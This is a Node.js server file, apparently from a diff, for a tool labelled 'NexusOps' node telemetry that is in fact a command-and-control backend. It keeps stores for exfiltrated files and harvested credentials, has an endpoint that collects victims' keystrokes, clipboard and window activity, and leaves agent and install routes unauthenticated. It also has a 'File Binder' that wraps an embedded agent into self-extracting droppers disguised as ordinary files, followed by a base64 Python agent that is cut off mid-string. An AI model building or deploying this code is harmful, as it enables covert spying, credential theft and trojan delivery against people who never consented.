fs.mkdirSync(DATA_DIR, { recursive: true }); - -app.use(cors()); -app.use(express.json({ limit: '50mb' })); -app.use(express.static(path.join(__dirname, 'public')));// ---- agentseo discovery kit ---- -app.use('/.well-known', express.static(path.join(__dirname, 'public', '.well-known'))); - - -// ── Auth ── -const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null; -if (!AUTH_TOKEN) { - console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!'); -} -const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/']; -function authMiddleware(req, res, next) { - if (!AUTH_TOKEN) return next(); - if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next(); - const h = req.headers.authorization || ''; - if (h === 'Bearer ' + AUTH_TOKEN) return next(); - if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' }); - return res.status(401).json({ error: 'unauthorized' }); -} -app.use(authMiddleware); -app.get('/api/auth/check', (req, res) => { - if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false }); - res.json({ ok: true, authRequired: true }); -}); - - - -function getLocalIp() { - const interfaces = os.networkInterfaces(); - for (const name of Object.keys(interfaces)) { - for (const net of interfaces[name]) { - if (net.family === 'IPv4' && !net.internal) { - return net.address; - } - } - } - return 'localhost'; -} - -const SERVER_IP = getLocalIp(); - -const nodes = new Map(); -const commandQueues = new Map(); -const commandHistory = []; -const masterSystemLogs = []; -const inputDataStore = []; -const MAX_INPUT_STORE = 500; -const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp } -const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp } - -// ── Persistence ── -let _saveLock = false; -function _atomicWrite(file, data) { - const tmp = file + '.tmp'; - fs.writeFileSync(tmp, data); - fs.renameSync(tmp, file); -} -function saveData() { - if (_saveLock) return; - _saveLock = true; - try { - _atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries()))); - _atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200))); - _atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200))); - _atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300))); - _atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200))); - } catch(e) { /* silent */ } finally { - _saveLock = false; - } -} - -function loadData() { - try { - const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]'); - nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); }); - commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]'))); - masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]'))); - inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]'))); - harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]'))); - } catch(e) { /* first run */ } -} -loadData(); - -// Auto-save every 30 seconds -setInterval(saveData, 30000); - -setInterval(() => { - const now = Date.now(); - let changed = false; - nodes.forEach((node, id) => { - if (node.status === 'online' && now - node.lastHeartbeat > 20000) { - node.status = 'offline'; - changed = true; - } - }); - if (changed) { - broadcastState(); - } -}, 5000); - -let _lastSaveTime = 0; -function broadcastState() { - const now = Date.now(); - if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); } - const payload = JSON.stringify({ - type: 'NODES_UPDATE', - serverIp: SERVER_IP, - port: PORT, - publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, - nodes: Array.from(nodes.values()), - commandHistory: commandHistory.slice(-50), - masterSystemLogs: masterSystemLogs.slice(-100), - inputData: inputDataStore.slice(-200) - }); - - wss.clients.forEach(client => { - if (client.readyState === WebSocket.OPEN) { - client.send(payload); - } - }); -} - -wss.on('connection', (ws, req) => { - // Auth check on WS upgrade - if (AUTH_TOKEN) { - const url = new URL(req.url, 'http://localhost'); - if (url.searchParams.get('token') !== AUTH_TOKEN) { - ws.close(4401, 'unauthorized'); - return; - } - } - ws.isAlive = true; - ws.on('pong', () => { ws.isAlive = true; }); - ws.send(JSON.stringify({ - type: 'NODES_UPDATE', - serverIp: SERVER_IP, - port: PORT, - publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, - nodes: Array.from(nodes.values()), - commandHistory: commandHistory.slice(-50), - masterSystemLogs: masterSystemLogs.slice(-100), - inputData: inputDataStore.slice(-200) - })); -}); - -// WS heartbeat: ping every 25s, drop dead clients -setInterval(() => { - wss.clients.forEach(ws => { - if (ws.isAlive === false) return ws.terminate(); - ws.isAlive = false; - try { ws.ping(); } catch(e) {} - }); -}, 25000); - -// REST API Endpoints - -app.get('/api/status', (req, res) => { - res.json({ - serverIp: SERVER_IP, - port: PORT, - serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, - totalNodes: nodes.size, - onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length - }); -}); - -app.get('/api/nodes', (req, res) => { - res.json(Array.from(nodes.values())); -}); - -app.get('/api/logs', (req, res) => { - res.json(masterSystemLogs.slice(-100)); -}); - -// CSV Telemetry Export Endpoint -app.get('/api/export/csv', (req, res) => { - let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n"; - nodes.forEach(node => { - const tagsStr = (node.tags || []).join(';'); - csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`; - }); - res.setHeader('Content-Type', 'text/csv'); - res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"'); - res.send(csv); -}); - -// Agent System Log Streaming Endpoint -app.post('/api/agent/logs', (req, res) => { - const { nodeId, hostname, logs } = req.body; - if (Array.isArray(logs)) { - logs.forEach(logLine => { - masterSystemLogs.push({ - id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`, - nodeId, - hostname: hostname || 'Unknown', - timestamp: Date.now(), - entry: logLine - }); - }); - if (masterSystemLogs.length > 200) { - masterSystemLogs.splice(0, masterSystemLogs.length - 200); - } - broadcastState(); - } - res.json({ success: true }); -}); - -// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus -app.post('/api/agent/input-capture', (req, res) => { - const { nodeId, hostname, events } = req.body; - if (!nodeId || !Array.isArray(events)) { - return res.status(400).json({ error: 'nodeId and events[] required' }); - } - - events.forEach(ev => { - inputDataStore.push({ - id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`, - nodeId, - hostname: hostname || 'Unknown', - timestamp: ev.timestamp || Date.now(), - eventType: ev.eventType || 'unknown', - data: ev.data || {}, - windowTitle: ev.windowTitle || '', - processName: ev.processName || '' - }); - }); - - if (inputDataStore.length > MAX_INPUT_STORE) { - inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE); - } - - if (events.length > 0) { - broadcastState(); - } - - res.json({ success: true, stored: events.length }); -}); - -// Retrieve input capture data -app.get('/api/inputs', (req, res) => { - const { nodeId, eventType, limit } = req.query; - let filtered = inputDataStore; - - if (nodeId) { - filtered = filtered.filter(e => e.nodeId === nodeId); - } - if (eventType) { - filtered = filtered.filter(e => e.eventType === eventType); - } - - const max = parseInt(limit) || 200; - res.json(filtered.slice(-max)); -}); - -// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ── -// ── File Binder v2 — self-contained dropper (agent embedded, no curl required) ── -const AGENT_B64 = "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoiIiIKTmV4dXNPcHMgQ3Jvc3MtUGxhdGZvcm0gTm9kZSBNYW5hZ2VtZW50ICYgVGVsZW1ldHJ5IEFnZW50ClVzZXMgU3RhbmRhcmQgUHl0aG9uIDMgTGlicmFyaWVzIChObyBleHRlcm5hbCBkZXBlbmRlbmNpZXMgcmVxdWlyZWQpCiIiIgoKaW1wb3J0IHN5cwppbXBvcnQgb3MKaW1wb3J0IHRpbWUKaW1wb3J0IGpzb24KaW1wb3J0IHNvY2tldAppbXBvcnQgcGxhdGZvcm0KaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCB1cmxsaWIucGFyc2UKaW1wb3J0IGFyZ3BhcnNlCgpsYXN0X2xvZ19jaGVja190aW1lID0gMApoZWFydGJlYXRfaW50ZXJ2YWwgPSA1ICAjIER5bmFtaWMgaGVhcnRiZWF0IHJhdGUgaW4gc2Vjb25kcwpub2RlX3RhZ3MgPSBbIkRlZmF1bHQiXQpxdWlldF9tb2RlID0gRmFsc2UgICMgU3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIHdoZW4gVHJ1ZQoKZGVmIGdldF9wcm9jZXNzX2NvdW50KCk6CiAgICAiIiJHZXQgcmVhbCBwcm9jZXNzIGNvdW50IGNyb3NzLXBsYXRmb3JtLiIiIgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiIG9yIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJwcyIsICJhdXgiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIHJldHVybiBsZW4ob3V0LnNwbGl0bGluZXMoKSkgLSAxICAjIG1pbnVzIGhlYWRlcgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ0YXNrbGlzdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgcmV0dXJuIGxlbihvdXQuc3BsaXRsaW5lcygpKSAtIDEKICAgIGV4Y2VwdDoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMAoKZGVmIGdldF9pcF9hZGRyZXNzKCk6CiAgICAiIiJHZXQgcHJpbWFyeSBJUCwgcHJlZmVycmluZyBwaHlzaWNhbCBFdGhlcm5ldCBvdmVyIFZQTi90dW5uZWwgaW50ZXJmYWNlcy4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgbWFjT1M6IHVzZSBpZmNvbmZpZyB0byBmaW5kIGVuMCBJUCAocGh5c2ljYWwgRXRoZXJuZXQvV2lGaSkKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpZmNvbmZpZyIsICJlbjAiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICBpZiAnaW5ldCAnIGluIGxpbmUgYW5kICcxMjcuMC4wLjEnIG5vdCBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIHBhcnRzID0gbGluZS5zdHJpcCgpLnNwbGl0KCkKICAgICAgICAgICAgICAgICAgICBmb3IgaSwgcCBpbiBlbnVtZXJhdGUocGFydHMpOgogICAgICAgICAgICAgICAgICAgICAgICBpZiBwID09ICdpbmV0JyBhbmQgaSsxIDwgbGVuKHBhcnRzKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBwYXJ0c1tpKzFdCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgIyBMaW51eDogdHJ5IGlwIHJvdXRlIHRvIGZpbmQgcHJpbWFyeSBpbnRlcmZhY2UKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpcCIsICItNCIsICJyb3V0ZSIsICJnZXQiLCAiOC44LjguOCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgZm9yIHBhcnQgaW4gb3V0LnNwbGl0KCk6CiAgICAgICAgICAgICAgICBpZiBwYXJ0LnN0YXJ0c3dpdGgoJ3NyYyAnKToKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcGFydC5zcGxpdCgpWzFdIGlmICcgJyBpbiBwYXJ0IGVsc2Ugb3V0LnNwbGl0KCdzcmMgJylbMV0uc3BsaXQoKVswXQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKICAgICMgRmFsbGJhY2s6IGNvbm5lY3QgdG8gOC44LjguOAogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSkKICAgICAgICBzLmNvbm5lY3QoKCI4LjguOC44IiwgODApKQogICAgICAgIGlwID0gcy5nZXRzb2NrbmFtZSgpWzBdCiAgICAgICAgcy5jbG9zZSgpCiAgICAgICAgcmV0dXJuIGlwCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiAiMTI3LjAuMC4xIgoKZGVmIGdldF9jcHVfdXNhZ2UoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9zdGF0JywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZmllbGRzID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZSwgdG90YWwgPSBmaWVsZHNbM10sIHN1bShmaWVsZHMpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoMC4yKQogICAgICAgICAgICB3aXRoIG9wZW4oJy9wcm9jL3N0YXQnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICBmaWVsZHMyID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZTIsIHRvdGFsMiA9IGZpZWxkczJbM10sIHN1bShmaWVsZHMyKQogICAgICAgICAgICBpZGxlX2RlbHRhID0gaWRsZTIgLSBpZGxlCiAgICAgICAgICAgIHRvdGFsX2RlbHRhID0gdG90YWwyIC0gdG90YWwKICAgICAgICAgICAgaWYgdG90YWxfZGVsdGEgPiAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKDEwMC4wICogKDEuMCAtIGlkbGVfZGVsdGEgLyB0b3RhbF9kZWx0YSksIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidG9wIiwgIi1sIiwgIjEiLCAiLW4iLCAiMCJdKS5kZWNvZGUoKQogICAgICAgICAgICBmb3IgbGluZSBpbiBvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgaWYgIkNQVSB1c2FnZSIgaW4gbGluZToKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoKQogICAgICAgICAgICAgICAgICAgIHVzZXIgPSBmbG9hdChwYXJ0c1syXS5yZXBsYWNlKCclJywgJycpKQogICAgICAgICAgICAgICAgICAgIHN5c19jID0gZmxvYXQocGFydHNbNF0ucmVwbGFjZSgnJScsICcnKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcm91bmQodXNlciArIHN5c19jLCAxKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ3bWljIiwgImNwdSIsICJnZXQiLCAibG9hZHBlcmNlbnRhZ2UiXSkuZGVjb2RlKCkKICAgICAgICAgICAgbGluZXMgPSBbbGluZS5zdHJpcCgpIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCkgaWYgbGluZS5zdHJpcCgpLmlzZGlnaXQoKV0KICAgICAgICAgICAgaWYgbGluZXM6CiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXQobGluZXNbMF0pCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHBhc3MKICAgIHJldHVybiAxNS4wCgpkZWYgZ2V0X21lbW9yeV91c2FnZSgpOgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICBtZW1pbmZvID0ge30KICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9tZW1pbmZvJywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZm9yIGxpbmUgaW4gZjoKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoJzonKQogICAgICAgICAgICAgICAgICAgIGlmIGxlbihwYXJ0cykgPT0gMjoKICAgICAgICAgICAgICAgICAgICAgICAga2V5ID0gcGFydHNbMF0uc3RyaXAoKQogICAgICAgICAgICAgICAgICAgICAgICB2YWwgPSBpbnQocGFydHNbMV0uc3BsaXQoKVswXSkKICAgICAgICAgICAgICAgICAgICAgICAgbWVtaW5mb1trZXldID0gdmFsCiAgICAgICAgICAgIHRvdGFsID0gbWVtaW5mby5nZXQoJ01lbVRvdGFsJywgMSkKICAgICAgICAgICAgZnJlZSA9IG1lbWluZm8uZ2V0KCdNZW1BdmFpbGFibGUnLCBtZW1pbmZvLmdldCgnTWVtRnJlZScsIDApKQogICAgICAgICAgICByZXR1cm4gcm91bmQoKCh0b3RhbCAtIGZyZWUpIC8gdG90YWwpICogMTAwLjAsIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgVXNlIHZtX3N0YXQgZm9yIHJlYWwgbWVtb3J5IHVzYWdlIG9uIG1hY09TCiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidm1fc3RhdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHBhZ2VzID0ge30KICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICAgICAgaWYgJzonIGluIGxpbmU6CiAgICAgICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc6JywgMSkKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFnZXNbay5zdHJpcCgpXSA9IGludCh2LnN0cmlwKCkucnN0cmlwKCcuJykpCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBWYWx1ZUVycm9yOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICAgICAgcGFnZV9zaXplID0gMTYzODQgICMgRGVmYXVsdCBtYWNPUyBwYWdlIHNpemUKICAgICAgICAgICAgICAgIGZyZWUgPSBwYWdlcy5nZXQoJ1BhZ2VzIGZyZWUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgaW5hY3RpdmUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgc3BlY3VsYXRpdmUnLCAwKQogICAgICAgICAgICAgICAgdXNlZCA9IHBhZ2VzLmdldCgnUGFnZXMgYWN0aXZlJywgMCkgKyBwYWdlcy5nZXQoJ1BhZ2VzIHdpcmVkIGRvd24nLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgb2NjdXBpZWQgYnkgY29tcHJlc3NvcicsIDApCiAgICAgICAgICAgICAgICB0b3RhbF9wYWdlcyA9IGZyZWUgKyB1c2VkICsgcGFnZXMuZ2V0KCdQYWdlcyBwdXJnZWFibGUnLCAwKQogICAgICAgICAgICAgICAgaWYgdG90YWxfcGFnZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZCAvIHRvdGFsX3BhZ2VzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgICMgRmFsbGJhY2s6IHVzZSBzeXNjdGwgZm9yIGhhcmR3YXJlIGluZm8KICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJzeXNjdGwiLCAiLW4iLCAiaHcubWVtc2l6ZSJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHRvdGFsX2J5dGVzID0gaW50KG91dC5zdHJpcCgpKQogICAgICAgICAgICAgICAgIyBVc2Ugdm1fc3RhdCBwYWdlcyAqIHBhZ2Vfc2l6ZSBmb3IgdXNlZCBlc3RpbWF0ZQogICAgICAgICAgICAgICAgdm0gPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInZtX3N0YXQiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgICAgICBpbXBvcnQgcmUKICAgICAgICAgICAgICAgIGFjdGl2ZSA9IGludChyZS5zZWFyY2gocidQYWdlcyBhY3RpdmU6XHMrKFxkKyknLCB2bSkuZ3JvdXAoMSkpCiAgICAgICAgICAgICAgICB3aXJlZCA9IGludChyZS5zZWFyY2gocidQYWdlcyB3aXJlZCBkb3duOlxzKyhcZCspJywgdm0pLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgdXNlZF9ieXRlcyA9IChhY3RpdmUgKyB3aXJlZCkgKiAxNjM4NAogICAgICAgICAgICAgICAgaWYgdG90YWxfYnl0ZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZF9ieXRlcyAvIHRvdGFsX2J5dGVzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIHJldHVybiA0NS4wCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbIndtaWMiLCAib3MiLCAiZ2V0IiwgIkZyZWVQaHlzaWNhbE1lbW9yeSxUb3RhbFZpc2libGVNZW1vcnlTaXplIiwgIi9WYWx1ZSJdKS5kZWNvZGUoKQogICAgICAgICAgICBkID0ge30KICAgICAgICAgICAgZm9yIGxpbmUgaW4gb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgIGlmICc9JyBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc9JywgMSkKICAgICAgICAgICAgICAgICAgICBkW2suc3RyaXAoKV0gPSBmbG9hdCh2LnN0cmlwKCkpCiAgICAgICAgICAgIGlmICdUb3RhbFZpc2libGVNZW1vcnlTaXplJyBpbiBkIGFuZCAnRnJlZVBoeXNpY2FsTWVtb3J5JyBpbiBkOgogICAgICAgICAgICAgICAgdG90YWwgPSBkWydUb3RhbFZpc2libGVNZW1vcnlTaXplJ10KICAgICAgICAgICAgICAgIGZyZWUgPSBkWydGcmVlUGh5c2ljYWxNZW1vcnknXQogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKCgodG90YWwgLSBmcmVlKSAvIHRvdGFsKSAqIDEwMC4wLCAxKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMzUuMAoKZGVmIGdldF9kaXNrX3VzYWdlKCk6CiAgICB0cnk6CiAgICAgICAgaWYgaGFzYXR0cihvcywgJ3N0YXR2ZnMnKToKICAgICAgICAgICAgc3QgPSBvcy5zdGF0dmZzKCcvJykKICAgICAgICAgICAgdG90YWwgPSBzdC5mX2Jsb2NrcyAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGZyZWUgPSBzdC5mX2JhdmFpbCAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGlmIHRvdGFsID4gMDoKICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgoKHRvdGFsIC0gZnJlZSkgLyB0b3RhbCkgKiAxMDAuMCwgMSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDQwLjAKCmRlZiBnZXRfdXB0aW1lX3NlY29uZHMoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy91cHRpbWUnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICByZXR1cm4gaW50KGZsb2F0KGYucmVhZGxpbmUoKS5zcGxpdCgpWzBdKSkKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgIyBtYWNPUzogdXNlIHN5c2N0bCB0byBnZXQgYm9vdCB0aW1lLCBjb21wdXRlIHVwdGltZQogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInN5c2N0bCIsICItbiIsICJrZXJuLmJvb3R0aW1lIl0sIHRleHQ9VHJ1ZSwgdGltZW91dD01KQogICAgICAgICAgICAjIEZvcm1hdDogeyBzZWMgPSAxMjM0NTY3ODkwLCB1c2VjID0gMCB9IFRodSBKYW4gIDEgMDA6MDA6MDAgMTk3MAogICAgICAgICAgICBpbXBvcnQgcmUKICAgICAgICAgICAgbSA9IHJlLnNlYXJjaChyJ3NlY1xzKj1ccyooXGQrKScsIG91dCkKICAgICAgICAgICAgaWYgbToKICAgICAgICAgICAgICAgIGJvb3RfdGltZSA9IGludChtLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgcmV0dXJuIGludCh0aW1lLnRpbWUoKSAtIGJvb3RfdGltZSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDM2MDAKCmRlZiBjb2xsZWN0X3JlY2VudF9zeXN0ZW1fbG9ncygpOgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgbG9nX2VudHJpZXMgPSBbXQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigiam91cm5hbGN0bCAtbiA1IC0tbm8tcGFnZXIgLW8gc2hvcnQtaXNvIiwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGlmIHJlcy5yZXR1cm5jb2RlID09IDAgYW5kIHJlcy5zdGRvdXQ6CiAgICAgICAgICAgICAgICBmb3IgbGluZSBpbiByZXMuc3Rkb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgICAgICBpZiBsaW5lLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgICAgIGxvZ19lbnRyaWVzLmFwcGVuZChsaW5lLnN0cmlwKCkpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigicG93ZXJzaGVsbCBHZXQtRXZlbnRMb2cgLUxvZ05hbWUgU3lzdGVtIC1OZXdlc3QgMyB8IFNlbGVjdC1PYmplY3QgLUV4cGFuZFByb3BlcnR5IE1lc3NhZ2UiLCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMCBhbmQgcmVzLnN0ZG91dDoKICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIHJlcy5zdGRvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgICAgIGlmIGxpbmUuc3RyaXAoKToKICAgICAgICAgICAgICAgICAgICAgICAgbG9nX2VudHJpZXMuYXBwZW5kKGxpbmUuc3RyaXAoKSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIGxvZ19lbnRyaWVzCgpkZWYgaHR0cF9wb3N0KHVybCwgZGF0YV9kaWN0KToKICAgIGpzb25fYnl0ZXMgPSBqc29uLmR1bXBzKGRhdGFfZGljdCkuZW5jb2RlKCd1dGYtOCcpCiAgICByZXEgPSB1cmxsaWIucmVxdWVzdC5SZXF1ZXN0KAogICAgICAgIHVybCwKICAgICAgICBkYXRhPWpzb25fYnl0ZXMsCiAgICAgICAgaGVhZGVycz17CiAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYX